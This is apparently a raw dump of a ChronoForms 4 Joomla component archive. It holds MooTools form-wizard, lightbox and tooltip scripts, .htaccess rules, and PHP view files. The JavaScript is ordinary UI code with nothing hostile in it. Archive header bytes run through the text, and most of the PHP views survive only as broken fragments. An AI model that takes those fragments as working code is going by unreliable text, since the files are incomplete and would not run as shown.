config_group.include(option.get('value')); }else{ } }); }else{ if(config_group_item.get('checked')){ config_group.include(config_group_item.get('value')); }else{ } } }); target_config_element.set({'value' : config_group.join(new_splitter)}); }else{ target_config_element.set({'value' : config.get('value')}); } //reflect options if(config.get('operation') == 'multi_option'){ //fields changes if(container_div.getChildren('.options_refelctor')[0] != null){ if(config.get('operation_fieldtype') == 'select'){ container_div.getChildren('.options_refelctor')[0].empty(); config.get('value').split("\n").each(function(option){ var option_details = option.split('='); if(option_details.length > 1){ new Element('option', {'value': option_details[0], 'text': option_details[1]}).inject(container_div.getChildren('.options_refelctor')[0]); } }); }else{ container_div.getChildren('.options_refelctor')[0].empty(); var field_id = container_div.getElement('[id='+field_type+'_'+field_count+'_input_id]').get('value'); config.get('value').split("\n").each(function(option){ var option_details = option.split('='); if(option_details.length > 1){ new Element('input', {'id': field_id+option_details[0], 'type': config.get('operation_fieldtype')}).inject(container_div.getChildren('.options_refelctor')[0]); new Element('label', {'for': field_id+option_details[0], 'text': option_details[1]}).inject(container_div.getChildren('.options_refelctor')[0]); } }); } } } //reflect label change if(container_div.getFirst('label.updatable_label') != null){ if(settings.getElements('[name$=label_text_config]')[0] != null){ container_div.getFirst('label.updatable_label').set('text', settings.getElements('[name$=label_text_config]')[0].get('value')); } } //add on change event for config fields to enable the apply button if($chk($('sbox-btn-apply'))){ if(config.get('type') == 'checkbox' || config.get('type') == 'radio' || config.get('tag') == 'select'){ config.addEvent('change', function(){ activateSaveButton(); }); config.addEvent('click', function(){ activateSaveButton(); }); }else{ config.addEvent('keydown', function(){ activateSaveButton(); }); } } }); //settings.getElement('input[id$=save_settings_button]').set({'disabled' : true, 'value' : 'Saved'}); if($chk($('sbox-btn-apply'))){ $('sbox-btn-apply').set('text', 'Saved'); $('sbox-btn-apply').setStyle('opacity', 0.7); } } function deactivateEditor(content){ if($chk(content.getElement('.mceEditor'))){ var id = content.getElement('.mceEditor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceRemoveControl", false, id); } } function activateEditor(content){ if($chk(content.getElement('.text_editor'))){ var id = content.getElement('.text_editor').get('id').replace(/_parent/, ''); tinyMCE.execCommand("mceAddControl", false, id); } } function activateSaveButton(){ $('sbox-btn-apply').set('text', 'Apply'); $('sbox-btn-apply').setStyle('opacity', 1); } function ShowAddEventDialogue(){ var event_box = $('add_event_box').clone(true, true).setStyle('display', 'block'); event_box.getElement('input[name=add_event_button]').addEvent('click', function(event){ addNewEvent(); }); event_box.set('id', 'add_event_box_new'); event_box.inject($('add_event_box'), 'after'); SqueezeBox.initialize(); SqueezeBox.open($('add_event_box_new'), { handler: 'adopt', size: {x: 500, y: 170} }); /*var event_box = $('add_event_box').clone(true, true).setStyle('display', 'block'); event_box.getElement('input[name=add_event_button]').addEvent('click', function(event){ addNewEvent(); });*/ //event_box.inject($('sbox-content')); } function addNewEvent(){ var new_event = new Element('div', {'id' : 'FormOn'+$('sbox-content').getElement('input[name=event_name]').get('value')+'Event', 'class' : 'form_event main_event good_event'}); var new_event_label = new Element('label', {'text' : 'On '+$('sbox-content').getElement('input[name=event_name]').get('value'), 'class': 'form_event_label'}); new_event_label.inject(new_event); var new_event_hidden = new Element('input', {'type' : 'hidden', 'name' : '_form_actions_events_map[myform][events]['+$('sbox-content').getElement('input[name=event_name]').get('value')+']', 'value' : ''}); new_event_hidden.inject(new_event); //add the new event delete icon var delete_icon = $$('img.delete_element')[0].clone().setStyles({'float' : 'right', 'position' : 'absolute', 'top' : '7px', 'right' : '10px'}); delete_icon.inject(new_event); new_event.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(new_event)); new_event.getElement('.delete_element').floatingTips(); //inject the new event box into wizard body new_event.inject($('EventsOperations'), 'before'); initializeActionsDroppables([new_event]); SqueezeBox.close(); } window.addEvent('domready', function(){ //configure old events delete icons $$('.main_event').each(function(main_event){ if(main_event.getElement('.delete_element') != null){ main_event.getElement('.delete_element').addEvent('click', function(event){ this.getElement('.delete_element').floatingTipsHide(); this.destroy(); event.stopPropagation(); }.bindWithEvent(main_event)); main_event.getElement('.delete_element').floatingTips(); } }); }); function openSaveBox(SqueezeBox){ SqueezeBox.initialize(); SqueezeBox.open($('form_save_box'), { handler: 'adopt', size: {x: 300, y: 200} }); } function switch_fullscreen(){ if($('element-box').hasClass('fullscreen')){ $('element-box').removeClass('fullscreen'); $('element-box').addClass('normalscreen'); $('top-strap').setStyle('display', 'none'); $('fullscreen').set('src', 'components/com_chronoforms/images/fullscreen.png'); var total_size = $('element-box').getSize(); $("drop_box").setStyle('width', total_size.x - 300); morph_width_change(); }else{ $('element-box').removeClass('normalscreen'); $('element-box').addClass('fullscreen'); $('top-strap').setStyle('display', 'block'); $('fullscreen').set('src', 'components/com_chronoforms/images/normalscreen.png'); morph_width_change(); } } window.addEvent('domready', function(){ morph_width_change(); }); window.addEvent('resize', function(){ morph_width_change(); }); function morph_width_change(){ var total_size = $('element-box').getSize(); var width = total_size.x; $("drag_box").morph({'width' : 250}); $("drop_box").morph({'width' : (width - (250 + 50))}); } function collapseContainer(ID, reverse){ var collapsed = $("input_container_"+ID+"_collapsed").get('value'); if(reverse == true){ collapsed = collapsed.toInt(); collapsed = 1 - collapsed; //console.log(collapsed); } if(collapsed == 1){ //$("input_container_element_"+ID).setStyle('min-height', 100); $("input_container_element_"+ID).setStyle('height', 'auto'); //$("input_container_element_"+ID).morph({'height' : 'auto'}); $("input_container_element_"+ID).getChildren('div[class*=wizard_element]').each(function(wizard_element){ wizard_element.setStyle('display', 'block'); }); $("input_container_"+ID+"_collapsed").set('value', 0); $("input_container_collapse_toggler_"+ID).set('text', "Collapse"); }else{ $("input_container_element_"+ID).setStyle('min-height', 5); $("input_container_element_"+ID).getChildren('div[class*=wizard_element]').each(function(wizard_element){ wizard_element.setStyle('display', 'none'); }); $("input_container_element_"+ID).setStyle('height', 5); $("input_container_"+ID+"_collapsed").set('value', 1); $("input_container_collapse_toggler_"+ID).set('text', "Expand"); } return false; } //set the containers states window.addEvent('domready', function(){ $('droppable_area_elements').getElements('.input_container_element_view').each(function(container){ var container_id = container.get('id').replace(/input_container_element_/, ''); collapseContainer(container_id, true); }); });PK@y>\-9s33+components/com_chronoforms/js/SqueezeBox.jsnuW+A/** * SqueezeBox - Expandable Lightbox * * Allows to open various content as modal, * centered and animated box. * * Dependencies: MooTools 1.2 * * Inspired by * ... Lokesh Dhakar - The original Lightbox v2 * * @version 1.1 rc4 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ var SqueezeBox = { presets: { onOpen: $empty, onClose: $empty, onUpdate: $empty, onResize: $empty, onMove: $empty, onShow: $empty, onHide: $empty, size: {x: 600, y: 450}, sizeLoading: {x: 200, y: 150}, marginInner: {x: 20, y: 20}, marginImage: {x: 50, y: 75}, handler: false, target: null, closable: true, closeBtn: true, zIndex: 65555, overlayOpacity: 0.7, classWindow: '', classOverlay: '', overlayFx: {}, resizeFx: {}, contentFx: {}, parse: false, // 'rel' parseSecure: false, shadow: true, document: null, ajaxOptions: {} }, initialize: function(presets) { if (this.options) return this; this.presets = $merge(this.presets, presets); this.doc = this.presets.document || document; this.options = {}; this.setOptions(this.presets).build(); this.bound = { window: this.reposition.bind(this, [null]), scroll: this.checkTarget.bind(this), close: this.close.bind(this), key: this.onKey.bind(this) }; this.isOpen = this.isLoading = false; return this; }, build: function() { this.overlay = new Element('div', { id: 'sbox-overlay', styles: {display: 'none', zIndex: this.options.zIndex} }); this.win = new Element('div', { id: 'sbox-window', styles: {display: 'none', zIndex: this.options.zIndex + 2} }); if (this.options.shadow) { if (Browser.Engine.webkit420) { this.win.setStyle('-webkit-box-shadow', '0 0 10px rgba(0, 0, 0, 0.7)'); } else if (!Browser.Engine.trident4) { var shadow = new Element('div', {'class': 'sbox-bg-wrap'}).inject(this.win); var relay = function(e) { this.overlay.fireEvent('click', [e]); }.bind(this); ['n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw'].each(function(dir) { new Element('div', {'class': 'sbox-bg sbox-bg-' + dir}).inject(shadow).addEvent('click', relay); }); } } this.content = new Element('div', {id: 'sbox-content'}).inject(this.win); //this.closeBtn = new Element('a', {id: 'sbox-btn-close', href: '#'}).inject(this.win);//hack below this.closeBtn = new Element('span', {id: 'sbox-btn-close', style: 'cursor:pointer'}).inject(this.win); this.fx = { overlay: new Fx.Tween(this.overlay, $merge({ property: 'opacity', onStart: Events.prototype.clearChain, duration: 250, link: 'cancel' }, this.options.overlayFx)).set(0), win: new Fx.Morph(this.win, $merge({ onStart: Events.prototype.clearChain, unit: 'px', duration: 750, transition: Fx.Transitions.Quint.easeOut, link: 'cancel', unit: 'px' }, this.options.resizeFx)), content: new Fx.Tween(this.content, $merge({ property: 'opacity', duration: 250, link: 'cancel' }, this.options.contentFx)).set(0) }; $(this.doc.body).adopt(this.overlay, this.win); }, assign: function(to, options) { return ($(to) || $$(to)).addEvent('click', function() { return !SqueezeBox.fromElement(this, options); }); }, open: function(subject, options) { this.initialize(); if (this.element != null) this.trash(); this.element = $(subject) || false; this.setOptions($merge(this.presets, options || {})); if (this.element && this.options.parse) { var obj = this.element.getProperty(this.options.parse); if (obj && (obj = JSON.decode(obj, this.options.parseSecure))) this.setOptions(obj); } this.url = ((this.element) ? (this.element.get('href')) : subject) || this.options.url || ''; this.assignOptions(); var handler = handler || this.options.handler; if (handler) return this.setContent(handler, this.parsers[handler].call(this, true)); var ret = false; return this.parsers.some(function(parser, key) { var content = parser.call(this); if (content) { ret = this.setContent(key, content); return true; } return false; }, this); }, fromElement: function(from, options) { return this.open(from, options); }, assignOptions: function() { this.overlay.set('class', this.options.classOverlay); this.win.set('class', this.options.classWindow); if (Browser.Engine.trident4) this.win.addClass('sbox-window-ie6'); }, close: function(e) { var stoppable = ($type(e) == 'event'); if (stoppable) e.stop(); if (!this.isOpen || (stoppable && !$lambda(this.options.closable).call(this, e))) return this; this.fx.overlay.start(0).chain(this.toggleOverlay.bind(this)); this.win.setStyle('display', 'none'); this.fireEvent('onClose', [this.content]); this.trash(); this.toggleListeners(); this.isOpen = false; return this; }, trash: function() { this.element = this.asset = null; this.content.empty(); this.options = {}; //hack for (type in this.$events){ var fns = this.$events[type]; for (var i = fns.length; i--;){ if($chk(fns[i])) this.removeEvent(type, fns[i]); } } this.setOptions(this.presets).callChain(); //end hack //this.removeEvents().setOptions(this.presets).callChain(); }, onError: function() { this.asset = null; this.setContent('string', this.options.errorMsg || 'An error occurred'); }, setContent: function(handler, content) { if (!this.handlers[handler]) return false; this.content.className = 'sbox-content-' + handler; this.applyTimer = this.applyContent.delay(this.fx.overlay.options.duration, this, this.handlers[handler].call(this, content)); if (this.overlay.retrieve('opacity')) return this; this.toggleOverlay(true); this.fx.overlay.start(this.options.overlayOpacity); return this.reposition(); }, applyContent: function(content, size) { if (!this.isOpen && !this.applyTimer) return; this.applyTimer = $clear(this.applyTimer); this.hideContent(); if (!content) { this.toggleLoading(true); } else { if (this.isLoading) this.toggleLoading(false); this.fireEvent('onUpdate', [this.content], 20); } if (content) { if (['string', 'array'].contains($type(content))) this.content.set('html', content); else if (!this.content.hasChild(content)) this.content.adopt(content); } this.callChain(); if (!this.isOpen) { this.toggleListeners(true); this.resize(size, true); this.isOpen = true; this.fireEvent('onOpen', [this.content]); } else { this.resize(size); } }, resize: function(size, instantly) { this.showTimer = $clear(this.showTimer || null); var box = this.doc.getSize(), scroll = this.doc.getScroll(); this.size = $merge((this.isLoading) ? this.options.sizeLoading : this.options.size, size); var to = { width: this.size.x, height: this.size.y, left: (scroll.x + (box.x - this.size.x - this.options.marginInner.x) / 2).toInt(), top: (scroll.y + (box.y - this.size.y - this.options.marginInner.y) / 2).toInt() }; this.hideContent(); if (!instantly) { this.fx.win.start(to).chain(this.showContent.bind(this)); } else { this.win.setStyles(to).setStyle('display', ''); this.showTimer = this.showContent.delay(50, this); } return this.reposition(); }, toggleListeners: function(state) { var fn = (state) ? 'addEvent' : 'removeEvent'; this.closeBtn[fn]('click', this.bound.close); //this.overlay[fn]('click', this.bound.close);//hack this.doc[fn]('keydown', this.bound.key)[fn]('mousewheel', this.bound.scroll); this.doc.getWindow()[fn]('resize', this.bound.window)[fn]('scroll', this.bound.window); }, toggleLoading: function(state) { this.isLoading = state; this.win[(state) ? 'addClass' : 'removeClass']('sbox-loading'); if (state) this.fireEvent('onLoading', [this.win]); }, toggleOverlay: function(state) { var full = this.doc.getSize().x; this.overlay.setStyle('display', (state) ? '' : 'none'); this.doc.body[(state) ? 'addClass' : 'removeClass']('body-overlayed'); if (state) { this.scrollOffset = this.doc.getWindow().getSize().x - full; this.doc.body.setStyle('margin-right', this.scrollOffset); } else { this.doc.body.setStyle('margin-right', ''); } }, showContent: function() { if (this.content.get('opacity')) this.fireEvent('onShow', [this.win]); this.fx.content.start(1); }, hideContent: function() { if (!this.content.get('opacity')) this.fireEvent('onHide', [this.win]); this.fx.content.cancel().set(0); }, onKey: function(e) { switch (e.key) { case 'esc': this.close(e); //case 'up': case 'down': return false; } }, checkTarget: function(e) { return this.content.hasChild(e.target); }, reposition: function() { var size = this.doc.getSize(), scroll = this.doc.getScroll(), ssize = this.doc.getScrollSize(); this.overlay.setStyles({ width: ssize.x + 'px', height: ssize.y + 'px' }); this.win.setStyles({ left: (scroll.x + (size.x - this.win.offsetWidth) / 2 - this.scrollOffset).toInt() + 'px', top: (scroll.y + (size.y - this.win.offsetHeight) / 2).toInt() + 'px' }); return this.fireEvent('onMove', [this.overlay, this.win]); }, removeEvents: function(type){ if (!this.$events) return this; if (!type) this.$events = null; else if (this.$events[type]) this.$events[type] = null; return this; }, extend: function(properties) { return $extend(this, properties); }, handlers: new Hash(), parsers: new Hash() }; SqueezeBox.extend(new Events($empty)).extend(new Options($empty)).extend(new Chain($empty)); SqueezeBox.parsers.extend({ image: function(preset) { return (preset || (/\.(?:jpg|png|gif)$/i).test(this.url)) ? this.url : false; }, clone: function(preset) { if ($(this.options.target)) return $(this.options.target); if (this.element && !this.element.parentNode) return this.element; var bits = this.url.match(/#([\w-]+)$/); return (bits) ? $(bits[1]) : (preset ? this.element : false); }, ajax: function(preset) { return (preset || (this.url && !(/^(?:javascript|#)/i).test(this.url))) ? this.url : false; }, iframe: function(preset) { return (preset || this.url) ? this.url : false; }, string: function(preset) { return true; } }); SqueezeBox.handlers.extend({ image: function(url) { var size, tmp = new Image(); this.asset = null; tmp.onload = tmp.onabort = tmp.onerror = (function() { tmp.onload = tmp.onabort = tmp.onerror = null; if (!tmp.width) { this.onError.delay(10, this); return; } var box = this.doc.getSize(); box.x -= this.options.marginImage.x; box.y -= this.options.marginImage.y; size = {x: tmp.width, y: tmp.height}; for (var i = 2; i--;) { if (size.x > box.x) { size.y *= box.x / size.x; size.x = box.x; } else if (size.y > box.y) { size.x *= box.y / size.y; size.y = box.y; } } size.x = size.x.toInt(); size.y = size.y.toInt(); this.asset = $(tmp); tmp = null; this.asset.width = size.x; this.asset.height = size.y; this.applyContent(this.asset, size); }).bind(this); tmp.src = url; if (tmp && tmp.onload && tmp.complete) tmp.onload(); return (this.asset) ? [this.asset, size] : null; }, clone: function(el) { if (el) return el.clone(); return this.onError(); }, adopt: function(el) { if (el) return el; return this.onError(); }, ajax: function(url) { var options = this.options.ajaxOptions || {}; this.asset = new Request.HTML($merge({ method: 'get', evalScripts: false }, this.options.ajaxOptions)).addEvents({ onSuccess: function(resp) { this.applyContent(resp); if (options.evalScripts !== null && !options.evalScripts) $exec(this.asset.response.javascript); this.fireEvent('onAjax', [resp, this.asset]); this.asset = null; }.bind(this), onFailure: this.onError.bind(this) }); this.asset.send.delay(10, this.asset, [{url: url}]); }, iframe: function(url) { this.asset = new Element('iframe', $merge({ src: url, frameBorder: 0, width: this.options.size.x, height: this.options.size.y }, this.options.iframeOptions)); if (this.options.iframePreload) { this.asset.addEvent('load', function() { this.applyContent(this.asset.setStyle('display', '')); }.bind(this)); this.asset.setStyle('display', 'none').inject(this.content); return false; } return this.asset; }, string: function(str) { return str; } }); SqueezeBox.handlers.url = SqueezeBox.handlers.ajax; SqueezeBox.parsers.url = SqueezeBox.parsers.ajax; SqueezeBox.parsers.adopt = SqueezeBox.parsers.clone;PK@y>\(components/com_chronoforms/js/index.htmlnuW+APK@y>\j$Y,,%components/com_chronoforms/js/tabs.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * Visit http://www.ChronoEngine.com for regular updates and information. **/ function switchTab(id){ $(id+'-panel-tab').getParent('ul').getChildren('li').each(function(tab){ tab.set('class', ''); $(tab.get('id').replace(/-panel-tab/, '-panel')).setStyle('display', 'none'); }); $(id+'-panel-tab').set('class', 'activetab'); $(id+'-panel').setStyle('display', 'block'); return false; }PK@y>\uzxx+components/com_chronoforms/js/drag.ghost.jsnuW+A/** * drag.ghost.js - Ghosting draggable extension for Drag.Move * @version 1.01 * * by MonkeyPhysics.com * * Source/Documentation available at: * http://www.monkeyphysics.com/mootools/script/1/dragghost * * Some Rights Reserved * http://creativecommons.org/licenses/by-sa/3.0/ * */ Drag.Ghost = new Class({ Extends: Drag.Move, options: { opacity: 0.65 }, start: function(event) { this.ghost(); this.parent(event); }, cancel: function(event) { if (event) this.deghost(); this.parent(event); }, stop: function(event) { this.deghost(); this.parent(event); }, ghost: function() { this.element = this.element.clone() .setStyles({ 'opacity': this.options.opacity, 'position': 'absolute', 'top': this.element.getCoordinates()['top'], 'left': this.element.getCoordinates()['left'] }) .inject(document.body) .store('parent', this.element); }, deghost: function() { var e = this.element.retrieve('parent'); this.element.destroy(); this.element = e; } }); Element.implement({ makeGhostDraggable: function(options) { return new Drag.Ghost(this, options); } });PK@y>\VQcc-components/com_chronoforms/js/FloatingTips.jsnuW+A/* --- description: Class for creating floating balloon tips that nicely appears when hovering an element. license: MIT-style authors: - Lorenzo Stanco requires: - core/1.3: '*' provides: [FloatingTips] ... */ var FloatingTips = new Class({ Implements: [Options, Events], options: { position: 'top', fixed: false, center: true, content: 'title', html: false, balloon: true, arrowSize: 6, arrowOffset: 6, distance: 3, motion: 6, motionOnShow: true, motionOnHide: true, showOn: 'mouseenter', hideOn: 'mouseleave', showDelay: 0, hideDelay: 0, className: 'floating-tip', offset: { x: 0, y: 0 }, fx: { 'duration': 'short' } }, initialize: function(elements, options) { this.setOptions(options); var s = this; this.boundShow = (function() { s.show(this); }); this.boundHide = (function() { s.hide(this); }); if (!['top', 'right', 'bottom', 'left', 'inside'].contains(this.options.position)) this.options.position = 'top'; if (elements) this.attach(elements); return this; }, attach: function(elements) { var s = this; $$(elements).each(function(e) { if (e.retrieve('floatingtip_hasevents')) { return; } evs = { }; evs[s.options.showOn] = s.boundShow; evs[s.options.hideOn] = s.boundHide; e.addEvents(evs); e.store('floatingtip_hasevents', true); e.store('floatingtip_object', s); }); return this; }, detach: function(elements) { var s = this; var evs = { }; evs[this.options.showOn] = this.boundShow; evs[this.options.hideOn] = this.boundHide; $$(elements).each(function(e) { s.hide(e); e.removeEvents(evs); e.eliminate('floatingtip_hasevents'); e.eliminate('floatingtip_object'); }); return this; }, show: function(element) { var old = element.retrieve('floatingtip'); if (old) if (old.getStyle('opacity') == 1) { clearTimeout(old.retrieve('timeout')); return this; } var tip = this._create(element); if (tip == null) return this; element.store('floatingtip', tip); this._animate(tip, 'in'); element.store('floatingtip_visible', true); this.fireEvent('show', [tip, element]); return this; }, hide: function(element) { var tip = element.retrieve('floatingtip'); if (!tip) return this; this._animate(tip, 'out'); element.store('floatingtip_visible', false); this.fireEvent('hide', [tip, element]); return this; }, toggle: function(element) { if (element.retrieve('floatingtip_visible')) return this.hide(element); else return this.show(element); }, _create: function(elem) { var o = this.options; var oc = o.content; var opos = o.position; if (oc == 'title') { oc = 'floatingtitle'; if (!elem.get('floatingtitle')) elem.setProperty('floatingtitle', elem.get('title')); elem.set('title', ''); } var cnt = (typeof(oc) == 'string' ? elem.get(oc) : oc(elem)); var cwr = new Element('div').addClass(o.className).setStyle('margin', 0); var tip = new Element('div').addClass(o.className + '-wrapper').setStyles({ 'margin': 0, 'padding': 0, 'z-index': cwr.getStyle('z-index') }).adopt(cwr); if (cnt) { if (o.html) { if (o.html_adopt) cwr.adopt(cnt); else cwr.set('html', typeof(cnt) == 'string' ? cnt : cnt.get('html')); } else { cwr.set('text', cnt); } } else { return null; } var body = document.id(document.body); tip.setStyles({ 'position': (o.fixed ? 'fixed' : 'absolute'), 'opacity': 0, 'top': 0, 'left': 0 }).inject(body); if (o.balloon && !Browser.ie6) { var trg = new Element('div').addClass(o.className + '-triangle').setStyles({ 'margin': 0, 'padding': 0 }); var trgSt = { 'border-color': cwr.getStyle('background-color'), 'border-width': o.arrowSize, 'border-style': 'solid','width': 0, 'height': 0 }; switch (opos) { case 'inside': case 'top' : trgSt['border-bottom-width'] = 0; break; case 'right' : trgSt['border-left-width' ] = 0; trgSt['float'] = 'left'; cwr.setStyle('margin-left', o.arrowSize); break; case 'bottom': trgSt['border-top-width' ] = 0; break; case 'left' : trgSt['border-right-width' ] = 0; if (Browser.ie7) { trgSt['position'] = 'absolute'; trgSt['right'] = 0; } else { trgSt['float'] = 'right'; } cwr.setStyle('margin-right', o.arrowSize); break; } switch (opos) { case 'inside': case 'top': case 'bottom': trgSt['border-left-color'] = trgSt['border-right-color'] = 'transparent'; trgSt['margin-left'] = o.center ? tip.getSize().x / 2 - o.arrowSize : o.arrowOffset; break; case 'left': case 'right': trgSt['border-top-color'] = trgSt['border-bottom-color'] = 'transparent'; trgSt['margin-top'] = o.center ? tip.getSize().y / 2 - o.arrowSize : o.arrowOffset; break; } trg.setStyles(trgSt).inject(tip, (opos == 'top' || opos == 'inside') ? 'bottom' : 'top'); } var tipSz = tip.getSize(), trgC = elem.getCoordinates(); var offsetOption = ('function' === typeof(o.offset) ? Object.merge({ x: 0, y: 0 }, o.offset(elem)) : o.offset); var pos = { x: trgC.left + offsetOption.x, y: trgC.top + offsetOption.y }; if (opos == 'inside') { tip.setStyles({ 'width': tip.getStyle('width'), 'height': tip.getStyle('height') }); elem.setStyle('position', 'relative').adopt(tip); pos = { x: o.offset.x, y: o.offset.y }; } else { switch (opos) { case 'top' : pos.y -= tipSz.y + o.distance; break; case 'right' : pos.x += trgC.width + o.distance; break; case 'bottom': pos.y += trgC.height + o.distance; break; case 'left' : pos.x -= tipSz.x + o.distance; break; } } if (o.center) { switch (opos) { case 'top' : case 'bottom': pos.x += (trgC.width / 2 - tipSz.x / 2); break; case 'left': case 'right' : pos.y += (trgC.height / 2 - tipSz.y / 2); break; case 'inside': pos.x += (trgC.width / 2 - tipSz.x / 2); pos.y += (trgC.height / 2 - tipSz.y / 2); break; } } tip.set('morph', o.fx).store('position', pos); tip.setStyles({ 'top': pos.y, 'left': pos.x }); return tip; }, _animate: function(tip, d) { clearTimeout(tip.retrieve('timeout')); tip.store('timeout', (function(t) { var o = this.options, din = (d == 'in'); var m = { 'opacity': din ? 1 : 0 }; if ((o.motionOnShow && din) || (o.motionOnHide && !din)) { var pos = t.retrieve('position'); if (!pos) return; switch (o.position) { case 'inside': case 'top' : m['top'] = din ? [pos.y - o.motion, pos.y] : pos.y - o.motion; break; case 'right' : m['left'] = din ? [pos.x + o.motion, pos.x] : pos.x + o.motion; break; case 'bottom': m['top'] = din ? [pos.y + o.motion, pos.y] : pos.y + o.motion; break; case 'left' : m['left'] = din ? [pos.x - o.motion, pos.x] : pos.x - o.motion; break; } } t.morph(m); if (!din) t.get('morph').chain(function() { this.dispose(); }.bind(t)); }).delay((d == 'in') ? this.options.showDelay : this.options.hideDelay, this, tip)); return this; } }); Elements.implement({ floatingTips: function(options) { new FloatingTips(this, options); return this; } }); Element.implement({ floatingTips: function(options) { new FloatingTips($$(this), options); return this; }, floatingTipsShow: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.show(this); return this; }, floatingTipsHide: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.hide(this); return this; }, floatingTipsToggle: function() { var tip = this.retrieve('floatingtip_object'); if (tip) tip.toggle(this); return this; } }); Element.Properties.floatingTips = { get: function(){ return this.retrieve('floatingtip_object'); } }; PK@y>\񃕗4components/com_chronoforms/js/FloatingTips.Dialog.jsnuW+A/* --- description: Creates balloon dialogs with action buttons when clicking an element license: MIT-style authors: - Lorenzo Stanco requires: - core/1.3: '*' provides: [FloatingTips.Dialog] ... */ FloatingTips.Dialog = new Class({ Extends: FloatingTips, options: { showOn: 'click', hideOn: 'never', buttons: { }, buttonsClassName: '' }, initialize: function(element, text, options) { // Setup options this.setOptions(options); // Store element reference this.element = $(element); // Create buttons var s = this; var buttonsIndex = 0; var buttonsWrapper = new Element('p'); Object.each(this.options.buttons, function(buttonCallback, buttonCaption) { var button = new Element('button', { type: 'button' }); if (s.options.buttonsClassName) button.addClass(s.options.buttonsClassName); button.addClass(s.options.className + '-button' + ++buttonsIndex); button.set('text', buttonCaption).addEvent('click', buttonCallback.pass([ s.element, button, s ], s)); buttonsWrapper.adopt(button); }); // Create tip content var contentText = new Element('p', { 'text': text }); var content = new Element('div').adopt(contentText, buttonsWrapper); this.options.content = function() { return content; }; this.options.html = true; this.options.html_adopt = true; // Call FloatingTips constructor this.parent([this.element]); }, popup: function() { this.show(this.element); }, dismiss: function() { this.hide(this.element); } });PK@y>\0o'',components/com_chronoforms/js/wizard_tips.jsnuW+A/** * CHRONOFORMS version 4.0 * Copyright (c) 2006 - 2011 Chrono_Man, ChronoEngine.com. All rights reserved. * Author: Chrono_Man (ChronoEngine.com) * Visit http://www.ChronoEngine.com for regular updates and information. **/ window.addEvent('domready', function(){ new FloatingTips('div.dragable', { content: function(e){ if($chk($(e.get('id')+'_main_tooltip'))){ return $(e.get('id')+'_main_tooltip'); } if($chk($(e.get('id')+'_tooltip'))){ return $(e.get('id')+'_tooltip'); } }, position: 'right', distance: 7, html: true, }); new FloatingTips('a.toggler', { content: function(){return "Click to expand";}, position: 'right', distance: 7, html: true, }); var delete_icon_tip = new FloatingTips('img.delete_element', {}); var edit_icon_tip = new FloatingTips('img.edit_element', {}); var sort_icon_tip = new FloatingTips('img.sort_element', {}); new FloatingTips('img.add_event', { content: function(){ return $('add_event_tooltip'); }, html: true, }); });PK@y>\)'components/com_chronoforms/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?{ { 0components/com_chronoforms/admin.chronoforms.phpnuW+ARELEASE.DS."admin.chronoforms.php"); ?> '; print_r($array); echo ''; } ?>PK@y>\  4components/com_chronoforms/uninstall.chronoforms.phpnuW+APK@y>\)$components/com_chronoforms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\u=Qff2components/com_chronoforms/install.chronoforms.phpnuW+A
      ChronoForms

      INTRODUCTION

      I always needed to create custom forms for my clients websites, Or to migrate their old websites forms fast and easy to new Joomla websites forms, this was pain, as I was using other components for doing this, and I had to create everything from scratch at webbased tools.

      ChronoForms, was going to be just a contact forms component, but I have used it to create different forms using advanced techniques and PHP code , so I decided to make it a complete forms extension, I wish you will find it usefull, any feedback is very appreciated.

      For regular updates and informations on ChronoForms, please visit www.chronoengine.com.

      COPYRIGHT INFORMATION

      ChronoForms includes or is derivative of works distributed under the following copyright notices:

      Copyright (c) 2006 - 2012 Chrono_Man, ChronoEngine.com. All rights reserved.

      DISCLAIMER

      THIS PROGRAM IS DISTRIBUTED "AS IS". NO WARRANTY OF ANY KIND IS EXPRESSED OR IMPLIED. YOU USE AT YOUR OWN RISK. I WILL NOT BE LIABLE FOR DATA LOSS, DAMAGES, HACKING, SPAMMING, LOSS OF PROFITS OR ANY OTHER KIND OF LOSS WHILE USING OR MISUSING THIS SOFTWARE.

      '; } ?>PK@y>\ <<?components/com_chronoforms/views/easy_wizard_thanks_message.phpnuW+A startPane('thanks_message'); ?> startPanel('Your thanks message', 'thanks_message_'.$i); ?> input('chronoaction['.$i.'][action_show_thanks_message_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Message body", 'class' => 'mce_editor', 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> input('chronoaction['.$i.'][action_show_thanks_message_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'show_thanks_message')); ?> endPanel(); ?> endPane(); ?>PK@y>\Ԓm@@.components/com_chronoforms/views/show_data.phpnuW+A
      $field_data): ?>
      Field title Field value
      $table_field); ?>
      PK@y>\}~.components/com_chronoforms/views/list_data.phpnuW+A $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } ?>

      Listing data records for table:

      This table has no primary keys and its records can't be viewed!

      load($_POST['form_id']); $params = new JParameter($row->params); $dataview_actions = $params->get('dataview_actions', ''); if(strlen(trim($params->get('dataview_fields_'.$table_name, ''))) > 0){ $extra_table_fields = explode(",", $params->get('dataview_fields_'.$table_name, '')); } if(!empty($dataview_actions)){ $dataview_actions = explode(",", $dataview_actions); foreach($dataview_actions as $dataview_action){ $action_pieces = explode(":", $dataview_action); $extra_dataview_actions[$action_pieces[0]] = $action_pieces[1]; } } } ?>
      $action_title): ?> $action_title): ?>
      # ID Record
      $primary; ?> Record #limitstart; ?> $table_field; ?> #limitstart; ?>
      getListFooter(); ?>
